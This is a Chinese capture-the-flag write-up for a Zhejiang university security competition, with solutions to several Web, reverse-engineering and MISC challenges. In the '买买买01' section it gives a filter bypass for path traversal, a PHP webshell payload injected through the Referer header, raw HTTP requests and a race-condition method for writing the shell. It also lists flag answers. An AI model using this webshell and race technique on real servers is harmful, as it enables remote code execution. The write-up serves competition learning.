Dijkstra
第五届浙江省大学生网络与信息安全竞赛-技能挑战赛
Web
nisc_easyweb
-
打开是phpinfo(),没有flag,访问http://1.14.97.218:23306/robots.txt,得到/api/record,访问,得到test_api.php,访问
-
查看源代码得到提示i=FlagInHere
-
添加参数?i=FlagInHere,得到DASCTF{65452772580975224074792032861586}
nisc_学校门户网站
首页进入学生系统http://1.14.97.218:22898/home/login/,注册后登录,即可得到DASCTF{34707721847849260569451324788283}
吃豆人吃豆魂
- 查看源代码在index.js中得到Base64
2. Base64解码得到DASCTF{f235b02382a223fda4ce2ec62148d94c}
买买买01
-
猜测img参数可以实现任意文件读取,发现过滤了…/
-
fuzz一下使用…//可以绕过,Base64解码即可得到源码。
<?php $rootpath = '/var/www/html/'; $path = md5("compete" . $_SERVER['HTTP_REFERER']); $sandbox = $rootpath . $path; @mkdir($sandbox); @chdir($sandbox); function cop($filename) { copy($filename, $filename . "2.php"); rename($filename . "2.php", $filename); echo "copy" . $filename . "success"; } function read($filename) { $content = base64_encode(file_get_contents($filename)); echo '<img width="900" height="450" src="data:image/png;base64,' . $content . '"/>'; } if(isset($_GET['action']) && $_GET['action'] === "copy") { $filename = $sandbox . "/" . $path . ".txt"; file_put_contents($filename, "compete" . $_SERVER['HTTP_REFERER']); cop($filename); } else if(isset($_GET['action']) && $_GET['action'] === "read") { if(!isset($_GET['img'])) { $filename = "maimaimai.jpg"; } else { $filename = str_replace("../", "", $_GET['img']); } $filename = $rootpath . "img/" . $filename; read($filename); } else { header("Location: /index.php?action=read&img=maimaimai.jpg"); } ?>
-
审计源码,发现action还可用copy,$_SERVER[‘HTTP_REFERER’]可控(即请求头中的Referer),生成的文件名后会加上2.php,但又会被重命名删去2.php,可以采用条件竞争的方式写马。
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');?>
Bp抓包
GET /index.php?action=copy HTTP/1.1 Host: 1.14.97.218:21715 Referer: <?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');?>
得到文件路径/var/www/html/3d3b75b32781ac19253077e70299fec7/3d3b75b32781ac19253077e70299fec7.txt
使用Intruder模块,边上传写马文件,边访问
GET /3d3b75b32781ac19253077e70299fec7/3d3b75b32781ac19253077e70299fec7.txt2.php HTTP/1.1 Host: 1.14.97.218:21715
4. 稍等片刻,成功后即可访问写上去的马,使用蚁剑连接,得到flag
RE
ManyCheck
- 使用IDA打开分析,第一关结果为77
- 第二关计算得到结果为55、49
- 第三关编程计算得到1198089844
#include <iostream> using namespace std; int calc() { return (1718896489 << (32 - 16)) | (1718896489 >> 16); } int main(){ cout << calc(); return 0; }
- 直接运行程序最后的结果会一闪而过,在cmd中运行即可得到DASCTF{M71_Gift_08L}
MISC
好怪哦
- 解压得到fuck.zip发现无法正常打开,使用16进制编辑器打开发现文件被倒转
- 编写脚本进行倒序,得到正常的zip
f=open('fuck.zip','rb').read()
m=open('flag.zip','wb')
m.write(f[::-1])
m.close()
-
解压得到flag.png,无法正常打开,发现缺少PNG文件头,补齐89 50 4E 47后可以打开,但缺少一半
-
修改大小后即可看到完整的flag